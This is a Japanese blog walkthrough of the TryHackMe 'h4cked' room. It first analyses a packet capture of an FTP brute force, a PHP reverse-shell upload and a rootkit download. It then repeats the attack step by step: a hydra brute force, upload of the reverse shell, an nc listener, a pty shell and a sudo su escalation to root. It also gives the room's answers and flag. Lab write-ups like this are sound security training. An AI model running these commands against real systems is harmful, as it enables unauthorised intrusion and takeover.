0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

一人アドカレAdvent Calendar 2024

Day 21

【TryHackMe】h4cked:Walkthrough

Posted at

概要

TryHackMe「h4cked」のWalkthroughです。

Task1

Q2.The attacker is trying to log into a specific service. What service is this?

Hint.Port 21

最初にFTPへのログインを試みています。

image.png

A.FTP

Q3.There is a very popular tool by Van Hauser which can be used to brute force a series of services. What is the name of this tool?

Hint.https://github.com/vanhauser-thc

Hydraを使用してブルートフォース攻撃ができます。

A.Hydra

Q4.The attacker is trying to log on with a specific username. What is the username?

Hint.Look at the FTP Request

FTPのリクエストを確認するとユーザー名にjennyを使用してパスワードをブルートフォース攻撃しています。

image.png

A.Jenny

Q5.What is the user's password?

Hint.The password is displayed in the FTP request

FTPのログイン成功しているパケットを探します。
ログインが成功した場合230レスポンスコードが返ってくるので、そのTCPストリームを確認します。

image.png

A.password123

Q6.What is the current FTP working directory after the attacker logged in?

Hint.Web root

攻撃者がログイン後、PWDコマンドでカレントディレクトリを確認しています。

image.png

A./var/www/html

Q7.The attacker uploaded a backdoor. What is the backdoor's filename?

Hint.It has a .php extension

STORコマンドでshell.phpをアップロードしています。

image.png

A.shell.php

Q8.The backdoor can be downloaded from a specific URL, as it is located inside the uploaded file. What is the full URL?

Hint.Look at the FTP-DATA protocol

ftp-dataでフィルタリングし、FTPに設置されたリバースシェルファイルの中身を見ます。
pentestmonkeyのPHPリバースシェルファイルをアップロードしたようです。

image.png

A.http://pentestmonkey.net/tools/php-reverse-shell

Q9.Which command did the attacker manually execute after getting a reverse shell?

Hint.You can right click on the relevant packet and select "Follow" > "TCP Stream"

攻撃者はFTPにファイルをアップロード後、HTTPで/shell.phpにアクセスしリバースシェルを張っています。

image.png

その後のパケットのTCP Streamを追うことでコマンドの実行履歴が見れます。

image.png

A.whoami

Q10.What is the computer's hostname?

Hint.You can right click on the relevant packet and select "Follow" > "TCP Stream"

ターミナルの表示からホスト名を確認できました。

image.png

A.wir3

Q11.Which command did the attacker execute to spawn a new TTY shell?

Hint.https://netsec.ws/?p=337

pythonを使用してttyを設定しています。

image.png

A.python3 -c 'import pty; pty.spawn("/bin/bash")'

Q12.Which command was executed to gain a root shell?

Hint.It is sudo-related

sudo -lを確認後、全てコマンドが許可されているのでsudo suでrootに昇格しています。

image.png

A.sudo su

Q13.The attacker downloaded something from GitHub. What is the name of the GitHub project?

Hint.The GitHub URL is located in the packet stream

Reptileというルートキットをダウンロードしています。

image.png

A.Reptile

Q14.The project can be used to install a stealthy backdoor on the system. It can be very hard to detect. What is this type of backdoor called?

Hint.A certain type of kit

A.Rootkit

Task2

Q2.Run Hydra (or any similar tool) on the FTP service. The attacker might not have chosen a complex password. You might get lucky if you use a common word list.

Hint.The word list might rock your socks off...

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A 10.10.215.208 -oN nmap_result
PORT      STATE    SERVICE        VERSION
1/tcp     filtered tcpmux
21/tcp    open     ftp            vsftpd 2.0.8 or later
80/tcp    open     http           Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
21 ftp vsftpd 2.0.8 or later
80 http Apache httpd 2.4.29

FTPが稼働しているので、既に判明しているjennyアカウントのパスワードを探します。

$ hydra -f -l jenny -P /usr/share/wordlists/rockyou.txt 10.10.215.208 ftp

[21][ftp] host: 10.10.215.208   login: jenny   password: 987654321

jennyアカウントでFTPにログイン出来ました。

$ ftp 10.10.215.208
Connected to 10.10.215.208.
220 Hello FTP World!
Name (10.10.215.208:kali): jenny
331 Please specify the password.
Password: 
230 Login successful.

Q3.Change the necessary values inside the web shell and upload it to the webserver

Hint.You can also find a series of web shells inside the /usr/share/webshells/php directory. This includes the same web shell as the attacker used. Remember to change the $ip variable to your own IP address and chmod the file if necessary

PHPのリバーシェルファイルをFTPにアップロードします。

ftp> put php-reverse-shell.php
local: php-reverse-shell.php remote: php-reverse-shell.php
229 Entering Extended Passive Mode (|||51758|)
150 Ok to send data.
100% |****************************************************************|  5493       61.62 MiB/s    00:00 ETA
226 Transfer complete.
5493 bytes sent in 00:00 (10.95 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||7081|)
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000        10918 Feb 01  2021 index.html
-rw-------    1 1000     1000         5493 Dec 20 20:06 php-reverse-shell.php
-rwxrwxrwx    1 1000     1000         5493 Feb 01  2021 shell.php
226 Directory send OK.

アップロードしたリバースシェルファイルに権限を付与します。

ftp> site chmod 777 php-reverse-shell.php
200 SITE CHMOD command ok.
ftp> ls
229 Entering Extended Passive Mode (|||24619|)
150 Here comes the directory listing.
-rw-r--r--    1 1000     1000        10918 Feb 01  2021 index.html
-rwxrwxrwx    1 1000     1000         5493 Dec 20 20:06 php-reverse-shell.php
-rwxrwxrwx    1 1000     1000         5493 Feb 01  2021 shell.php

Q4.Create a listener on the designated port on your attacker machine. Execute the web shell by visiting the .php file on the targeted web server.

Hint.You can use, for example, netcat to create a listener on the designated port

Netcatでリッスンし、80番ポートのphp-reverse-shell.phpへアクセスするとリバースシェルを張れました。

$ nc -lvnp 1234                                                      
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.215.208] 52934
Linux wir3 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 20:11:29 up 16 min,  0 users,  load average: 0.00, 0.16, 0.40
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

Q5.Become root!

Hint.Sudo-related command. There are tons to choose from!

TTYを設定します。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

jennyのFTPパスワードを流用できるか試したところjennyアカウントへ昇格出来ました。

$ su jenny
su jenny
Password: 987654321

jenny@wir3:/$ whoami
whoami
jenny

sudo -lで確認するとすべて許可されています。

$ sudo -l
sudo -l
[sudo] password for jenny: 987654321

Matching Defaults entries for jenny on wir3:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jenny may run the following commands on wir3:
    (ALL : ALL) ALL

sudo suでrootに昇格出来ました。

$ sudo su
sudo su
root@wir3:/home/jenny# whoami
whoami
root

Q6.Read the flag.txt file inside the Reptile directory

/root/Reptile/flag.txtからルートフラグを入手できました。

/root/Reptile/flag.txt
ebcefd66ca4b559d17b440b6e67fd0fd

A.ebcefd66ca4b559d17b440b6e67fd0fd

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?